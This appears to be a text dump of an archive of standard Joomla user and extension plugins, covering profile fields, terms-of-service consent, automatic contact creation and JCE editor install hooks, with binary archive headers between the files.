					label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
					description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_postal_code"
					type="list"
					label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
					description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_phone"
					type="list"
					label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
					description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_website"
					type="list"
					label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
					description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_favoritebook"
					type="list"
					label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
					description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_aboutme"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
					description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_dob"
					type="list"
					label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
					description="PLG_USER_PROFILE_FIELD_DOB_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�uH!user/profile/profiles/profile.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="profile">
		<fieldset
			name="profile"
			label="PLG_USER_PROFILE_SLIDER_LABEL"
		>
			<field
				name="address1"
				type="text"
				label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
				description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
				id="address1"
				filter="string"
				size="30"
			/>

			<field
				name="address2"
				type="text"
				label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
				description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
				id="address2"
				filter="string"
				size="30"
			/>

			<field
				name="city"
				type="text"
				label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
				description="PLG_USER_PROFILE_FIELD_CITY_DESC"
				id="city"
				filter="string"
				size="30"
			/>

			<field
				name="region"
				type="text"
				label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
				description="PLG_USER_PROFILE_FIELD_REGION_DESC"
				id="region"
				filter="string"
				size="30"
			/>

			<field
				name="country"
				type="text"
				label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
				description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
				id="country"
				filter="string"
				size="30"
			/>

			<field
				name="postal_code"
				type="text"
				label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
				description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
				id="postal_code"
				filter="string"
				size="30"
			/>

			<field
				name="phone"
				type="tel"
				label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
				description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
				id="phone"
				filter="string"
				size="30"
			/>

			<field
				name="website"
				type="url"
				label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
				description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
				id="website"
				filter="url"
				size="30"
				validate="url"
			/>

			<field
				name="favoritebook"
				type="text"
				label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
				description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
				filter="string"
				size="30"
			/>

			<field
				name="aboutme"
				type="textarea"
				label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
				description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
				cols="30"
				rows="5"
				filter="safehtml"
			/>

			<field
				name="dob"
				type="dob"
				label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
				description="PLG_USER_PROFILE_FIELD_DOB_DESC"
				info="PLG_USER_PROFILE_SPACER_DOB"
				translateformat="true"
				showtime="false"
				filter="server_utc"
			/>

			<field
				name="tos"
				type="tos"
				label="PLG_USER_PROFILE_FIELD_TOS_LABEL"
				description="PLG_USER_PROFILE_FIELD_TOS_DESC"
				default="0"
				filter="integer"
				>
				<option value="1">PLG_USER_PROFILE_OPTION_AGREE</option>
				<option value="0">PLG_USER_PROFILE_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]*�user/profile/field/tos.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('radio');

/**
 * Provides input for TOS
 *
 * @since  2.5.5
 */
class JFormFieldTos extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  2.5.5
	 */
	protected $type = 'Tos';

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   2.5.5
	 */
	protected function getLabel()
	{
		$label = '';

		if ($this->hidden)
		{
			return $label;
		}

		// Get the label text from the XML element, defaulting to the element name.
		$text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
		$text = $this->translateLabel ? JText::_($text) : $text;

		// Set required to true as this field is not displayed at all if not required.
		$this->required = true;

		// Build the class for the label.
		$class = !empty($this->description) ? 'hasPopover' : '';
		$class = $class . ' required';
		$class = !empty($this->labelClass) ? $class . ' ' . $this->labelClass : $class;

		// Add the opening label tag and main attributes attributes.
		$label .= '<label id="' . $this->id . '-lbl" for="' . $this->id . '" class="' . $class . '"';

		// If a description is specified, use it to build a tooltip.
		if (!empty($this->description))
		{
			$label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"';
			$label .= ' data-content="' . htmlspecialchars(
				$this->translateDescription ? JText::_($this->description) : $this->description,
				ENT_COMPAT,
				'UTF-8'
			) . '"';

			if (JFactory::getLanguage()->isRtl())
			{
				$label .= ' data-placement="left"';
			}
		}

		$tosArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($tosArticle)
		{
			JHtml::_('behavior.modal');
			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			$attribs          = array();
			$attribs['class'] = 'modal';
			$attribs['rel']   = '{handler: \'iframe\', size: {x:800, y:500}}';

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('id, alias, catid, language')
				->from('#__content')
				->where('id = ' . $tosArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			if (JLanguageAssociations::isEnabled())
			{
				$tosAssociated = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $tosArticle);
			}

			$currentLang = JFactory::getLanguage()->getTag();

			if (isset($tosAssociated) && $currentLang !== $article->language && array_key_exists($currentLang, $tosAssociated))
			{
				$url = ContentHelperRoute::getArticleRoute(
					$tosAssociated[$currentLang]->id,
					$tosAssociated[$currentLang]->catid,
					$tosAssociated[$currentLang]->language
				);

				$link = JHtml::_('link', JRoute::_($url . '&tmpl=component'), $text, $attribs);
			}
			else
			{
				$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
				$url  = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
				$link = JHtml::_('link', JRoute::_($url . '&tmpl=component'), $text, $attribs);
			}
		}
		else
		{
			$link = $text;
		}

		// Add the label text and closing tag.
		$label .= '>' . $link . '<span class="star">&#160;*</span></label>';

		return $label;
	}
}
PK�(]!�*���user/profile/field/dob.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('calendar');

/**
 * Provides input for "Date of Birth" field
 *
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 * @since       3.3.7
 */
class JFormFieldDob extends JFormFieldCalendar
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.3.7
	 */
	protected $type = 'Dob';

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.3.7
	 */
	protected function getLabel()
	{
		$label = parent::getLabel();

		// Get the info text from the XML element, defaulting to empty.
		$text  = $this->element['info'] ? (string) $this->element['info'] : '';
		$text  = $this->translateLabel ? JText::_($text) : $text;

		if ($text)
		{
			$app    = JFactory::getApplication();
			$layout = new JLayoutFile('plugins.user.profile.fields.dob');
			$view   = $app->input->getString('view', '');

			// Only display the tip when editing profile
			if ($view === 'registration' || $view === 'profile' || $app->isClient('administrator'))
			{
				$layout = new JLayoutFile('plugins.user.profile.fields.dob');
				$info   = $layout->render(array('text' => $text));
				$label  = $info . $label;
			}
		}

		return $label;
	}
}
PK�(]&���user/terms/terms/terms.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="terms">
		<fieldset
			name="terms"
			label="PLG_USER_TERMS_LABEL"
		>
			<field
				name="terms"
				type="terms"
				label="PLG_USER_TERMS_FIELD_LABEL"
				description="PLG_USER_TERMS_FIELD_DESC"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_USER_TERMS_OPTION_AGREE</option>
				<option value="0">PLG_USER_TERMS_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�r
��user/terms/field/terms.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;

FormHelper::loadFieldClass('radio');

/**
 * Provides input for privacyterms
 *
 * @since  3.9.0
 */
class JFormFieldterms extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'terms';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.user.terms.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.user.terms.label')->render($this->getLayoutData());
	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$termsArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($termsArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('id', 'alias', 'catid', 'language')))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $termsArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			if (Associations::isEnabled())
			{
				$termsAssociated = Associations::getAssociations('com_content', '#__content', 'com_content.item', $termsArticle);
			}

			$currentLang = Factory::getLanguage()->getTag();

			if (isset($termsAssociated) && $currentLang !== $article->language && array_key_exists($currentLang, $termsAssociated))
			{
				$article->link = ContentHelperRoute::getArticleRoute(
					$termsAssociated[$currentLang]->id,
					$termsAssociated[$currentLang]->catid,
					$termsAssociated[$currentLang]->language
				);
			}
			else
			{
				$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
				$article->link = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
			}
		}

		$extraData = array(
			'termsnote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_USER_TERMS_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'termsArticle' => $termsArticle,
			'article' => $article,
		);

		return array_merge($data, $extraData);
	}
}
PK�(]�+''user/terms/terms.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.terms
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom terms and conditions plugin.
 *
 * @since  3.9.0
 */
class PlgUserTerms extends CMSPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		FormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Adds additional fields to the user registration form
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm($form, $data)
	{
		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}

		// Check we are manipulating a valid form - we only display this on user registration form.
		$name = $form->getName();

		if (!in_array($name, array('com_users.registration')))
		{
			return true;
		}

		// Add the terms and conditions fields to the form.
		Form::addFormPath(__DIR__ . '/terms');
		$form->loadFile('terms');

		$termsarticle = $this->params->get('terms_article');
		$termsnote    = $this->params->get('terms_note');

		// Push the terms and conditions article ID into the terms field.
		$form->setFieldAttribute('terms', 'article', $termsarticle, 'terms');
		$form->setFieldAttribute('terms', 'note', $termsnote, 'terms');
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isNew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException on missing required data.
	 */
	public function onUserBeforeSave($user, $isNew, $data)
	{
		// // Only check for front-end user registration
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		// User already registered, no need to check it further
		if ($userId > 0)
		{
			return true;
		}

		// Check that the terms is checked if required ie only in registration from frontend.
		$option = $this->app->input->getCmd('option');
		$task   = $this->app->input->get->getCmd('task');
		$form   = $this->app->input->post->get('jform', array(), 'array');

		if ($option == 'com_users' && in_array($task, array('registration.register')) && empty($form['terms']['terms']))
		{
			throw new InvalidArgumentException(Text::_('PLG_USER_TERMS_FIELD_ERROR'));
		}

		return true;
	}

	/**
	 * Saves user profile data
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		if (!$isNew || !$result)
		{
			return true;
		}

		JLoader::register('ActionlogsModelActionlog', JPATH_ADMINISTRATOR . '/components/com_actionlogs/models/actionlog.php');
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		$message = array(
			'action'      => 'consent',
			'id'          => $userId,
			'title'       => $data['name'],
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $userId,
			'userid'      => $userId,
			'username'    => $data['username'],
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
		);

		/* @var ActionlogsModelActionlog $model */
		$model = BaseDatabaseModel::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'PLG_USER_TERMS_LOGGING_CONSENT_TO_TERMS', 'plg_user_terms', $userId);
	}
}
PK�(]�*����user/terms/terms.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_terms</name>
	<author>Joomla! Project</author>
	<creationDate>June 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_USER_TERMS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="terms">terms.php</filename>
		<folder>terms</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_terms.ini</language>
		<language tag="en-GB">en-GB.plg_user_terms.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field 
					name="terms_note" 
					type="textarea" 
					label="PLG_USER_TERMS_NOTE_FIELD_LABEL"
					description="PLG_USER_TERMS_NOTE_FIELD_DESC"
					hint="PLG_USER_TERMS_NOTE_FIELD_DEFAULT"
					class="span12"
					rows="7" 
					cols="20" 
					filter="html"
				/>	
				<field
					name="terms_article"
					type="modal_article"
					label="PLG_USER_TERMS_FIELD_ARTICLE_LABEL"
					description="PLG_USER_TERMS_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]6�^�kk&user/contactcreator/contactcreator.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_contactcreator</name>
	<author>Joomla! Project</author>
	<creationDate>August 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTACTCREATOR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contactcreator">contactcreator.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_contactcreator.ini</language>
		<language tag="en-GB">en-GB.plg_user_contactcreator.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="autowebpage"
					type="text"
					label="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL"
					description="PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC"
					size="40"
				/>

				<field
					name="category"
					type="category"
					label="JCATEGORY"
					description="PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC"
					extension="com_contact"
					filter="integer"
				/>

				<field
					name="autopublish"
					type="radio"
					label="PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL"
					description="PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]]��c��&user/contactcreator/contactcreator.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.contactcreator
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Table\Table;
use Joomla\String\StringHelper;

/**
 * Class for Contact Creator
 *
 * A tool to automatically create and synchronise contacts with a user
 *
 * @since  1.6
 */
class PlgUserContactCreator extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * This method creates a contact for the saved user
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		// If the user wasn't stored we don't resync
		if (!$success)
		{
			return false;
		}

		// If the user isn't new we don't sync
		if (!$isnew)
		{
			return false;
		}

		// Ensure the user id is really an int
		$user_id = (int) $user['id'];

		// If the user id appears invalid then bail out just in case
		if (empty($user_id))
		{
			return false;
		}

		$categoryId = $this->params->get('category', 0);

		if (empty($categoryId))
		{
			JError::raiseWarning('', Text::_('PLG_CONTACTCREATOR_ERR_NO_CATEGORY'));

			return false;
		}

		if ($contact = $this->getContactTable())
		{
			/**
			 * Try to pre-load a contact for this user. Apparently only possible if other plugin creates it
			 * Note: $user_id is cleaned above
			 */
			if (!$contact->load(array('user_id' => (int) $user_id)))
			{
				$contact->published = $this->params->get('autopublish', 0);
			}

			$contact->name     = $user['name'];
			$contact->user_id  = $user_id;
			$contact->email_to = $user['email'];
			$contact->catid    = $categoryId;
			$contact->access   = (int) Factory::getConfig()->get('access');
			$contact->language = '*';
			$contact->generateAlias();

			// Check if the contact already exists to generate new name & alias if required
			if ($contact->id == 0)
			{
				list($name, $alias) = $this->generateAliasAndName($contact->alias, $contact->name, $categoryId);

				$contact->name  = $name;
				$contact->alias = $alias;
			}

			$autowebpage = $this->params->get('autowebpage', '');

			if (!empty($autowebpage))
			{
				// Search terms
				$search_array = array('[name]', '[username]', '[userid]', '[email]');

				// Replacement terms, urlencoded
				$replace_array = array_map('urlencode', array($user['name'], $user['username'], $user['id'], $user['email']));

				// Now replace it in together
				$contact->webpage = str_replace($search_array, $replace_array, $autowebpage);
			}

			if ($contact->check() && $contact->store())
			{
				return true;
			}
		}

		JError::raiseWarning('', Text::_('PLG_CONTACTCREATOR_ERR_FAILED_CREATING_CONTACT'));

		return false;
	}

	/**
	 * Method to change the name & alias if alias is already in use
	 *
	 * @param   string   $alias       The alias.
	 * @param   string   $name        The name.
	 * @param   integer  $categoryId  Category identifier
	 *
	 * @return  array  Contains the modified title and alias.
	 *
	 * @since   3.2.3
	 */
	protected function generateAliasAndName($alias, $name, $categoryId)
	{
		$table = $this->getContactTable();

		while ($table->load(array('alias' => $alias, 'catid' => $categoryId)))
		{
			if ($name === $table->name)
			{
				$name = StringHelper::increment($name);
			}

			$alias = StringHelper::increment($alias, 'dash');
		}

		return array($name, $alias);
	}

	/**
	 * Get an instance of the contact table
	 *
	 * @return  ContactTableContact
	 *
	 * @since   3.2.3
	 */
	protected function getContactTable()
	{
		Table::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contact/tables');

		return Table::getInstance('contact', 'ContactTable');
	}
}
PK�(]B�GM��extension/jce/jce.phpnu�[���<?php
/**
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved
 * @copyright   Copyright (C) 2018 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * JCE extension plugin.
 *
 * @since  2.6
 */
class PlgExtensionJce extends JPlugin
{
    /**
     * Check the installer is for a valid plugin group.
     *
     * @param JInstaller $installer Installer object
     *
     * @return bool
     *
     * @since   2.6
     */
    private function isValidPlugin($installer)
    {
        if (empty($installer->manifest)) {
            return false;
        }

        foreach (array('type', 'group') as $var) {
            $$var = (string) $installer->manifest->attributes()->{$var};
        }

        return $type === 'plugin' && $group === 'jce';
    }

    public function onExtensionBeforeInstall($method, $type, $manifest, $extension = 0)
    {
        if ((string) $type === "file") {

            // get a reference to the current installer
            $manifestPath = JInstaller::getInstance()->getPath('manifest');

            if (empty($manifestPath)) {
                return true;
            }

            // get the filename of the manifest file, eg: pkg_jce_de-DE
            $element = basename($manifestPath, '.xml');

            // if this matches the current install...
            if (strpos($element, 'pkg_jce_') !== false) {
                // find an existing legacy language install, eg: jce-de-DE
                $element = str_replace('pkg_jce_', 'jce-', $element);

                $table = JTable::getInstance('extension');
                $id = $table->find(array('type' => 'file', 'element' => $element));

                if ($id) {
                    $installer = new JInstaller();

                    // try unisntall, if this fails, delete database entry
                    if (!$installer->uninstall('file', $id)) {
                        $table->delete($id);
                    }
                }
            }
        }
    }
    /**
     * Handle post extension install update sites.
     *
     * @param JInstaller $installer Installer object
     * @param int        $eid       Extension Identifier
     *
     * @since   2.6
     */
    public function onExtensionAfterInstall($installer, $eid)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            // enable plugin
            $plugin = JTable::getInstance('extension');
            $plugin->load($eid);
            $plugin->publish();

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            } else {
                $plugin->type = 'extension';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('install', $plugin, $installer);

            // clean up legacy extensions
            if ($plugin->type == 'extension') {
                jimport('joomla.filesystem.folder');
                jimport('joomla.filesystem.file');

                $path = JPATH_SITE . '/components/com_jce/editor/extensions/' . $type;

                // delete manifest
                if (is_file($path . '/' . $plugin->name . '.xml')) {
                    JFile::delete($path . '/' . $plugin->name . '.xml');
                }
                // delete file
                if (is_file($path . '/' . $plugin->name . '.php')) {
                    JFile::delete($path . '/' . $plugin->name . '.php');
                }
                // delete folder
                if (is_dir($path . '/' . $plugin->name)) {
                    JFolder::delete($path . '/' . $plugin->name);
                }
            }
        }
    }

    /**
     * Handle extension uninstall.
     *
     * @param JInstaller $installer Installer instance
     * @param int        $eid       Extension id
     * @param int        $result    Installation result
     *
     * @since   1.6
     */
    public function onExtensionAfterUninstall($installer, $eid, $result)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('uninstall', $plugin, $installer);
        }
    }

    public function onExtensionAfterSave($context, $table, $result)
    {
        if ($context !== 'com_config.component') {
            return;
        }

        if ($table->element !== 'com_jce') {
            return;
        }

        $params = json_decode($table->params, true);

        if ($params && !empty($params['updates_key'])) {
            $updatesite = JTable::getInstance('Updatesite');

            // sanitize key
            $key = preg_replace("/[^a-zA-Z0-9]/", "", $params['updates_key']);

            $db = JFactory::getDBO();

            $query = $db->getQuery(true);
            $query->select($db->qn('update_site_id'))->from('#__update_sites_extensions')->where($db->qn('extension_id') . '=' . (int) $table->package_id);
            $db->setQuery($query);
            $update_site_id = $db->loadResult();

            if ($update_site_id) {
                if ($updatesite->load($update_site_id)) {
                    $updatesite->bind(array('extra_query' => 'key=' . $key));
                    $updatesite->check();
                    $updatesite->store();
                }
            }
        }
    }
}
PK�(]y(��extension/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_jce</name>
	<version>2.9.38</version>
  <creationDate>27-06-2023</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
